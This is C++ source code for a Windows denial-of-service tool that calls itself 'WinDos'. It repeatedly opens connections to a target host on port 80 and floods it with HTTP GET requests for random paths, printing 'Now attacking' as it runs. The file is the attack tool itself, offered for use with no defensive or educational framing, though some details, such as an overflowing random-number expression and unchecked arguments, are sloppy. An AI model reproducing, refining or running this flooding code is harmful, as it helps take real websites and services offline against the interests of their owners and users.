C++ Malformed get request attack

#include <iostream>
#include <stdio.h>
#include <string>
#include <WinSock2.h>
#include <sstream>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

using namespace std;

string convertInt(int number)
{
   stringstream sStream;
   sStream << number;
   return sStream.str();
}

string Req = "";

int main(int argc, char* argv[])
{
    printf("WinDos - Coded by Hyperion_\n");
    string Input;
    string progname = (string)argv[0];
    string Host     = (string)argv[1];
    int    WaitMS   = atoi(argv[2]);
    if(Host == "")
    {
        printf("Arguments: %s <host> <MS Inbetween requests>\n", argv[0]);
        return 1;
    }
    printf("Connected to:  %s\n", argv[1]);
    printf("Now attacking: %s\n", argv[1]);
    int rCounter = 1;
    int rRand = rand() % 99999999999999;
    while(true)
    {
        WSADATA wsaData;

        if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
        {
            printf("WSAStartup failed.\n");
            return 1;
        }

        SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        struct hostent *host;
        host = gethostbyname(Host.c_str());

        SOCKADDR_IN SockAddr;
        SockAddr.sin_port=htons(80);
        SockAddr.sin_family=AF_INET;
        SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
        if(connect(Socket,(SOCKADDR*)(&SockAddr),sizeof(SockAddr)) != 0)
        {
            printf("Socket Failed!\n");
        }
        Req = "";
        Req.append("GET /");
        Req.append(convertInt(rRand));
        Req.append(" HTTP/1.1\r\nHost: ");
        Req.append(Host);
        Req.append("\r\nConnection: close\r\n\r\n");
        printf("Sent Get Request: #%i To: %s\n", rCounter, argv[1]);
        send(Socket, Req.c_str(), strlen(Req.c_str()), 0);
        if(WaitMS != 0)
        {
            Sleep(WaitMS);
        }
        rRand = rand() % 99999999999999;
        rCounter++;
        closesocket(Socket);
    }
        WSACleanup();
    return 0;
}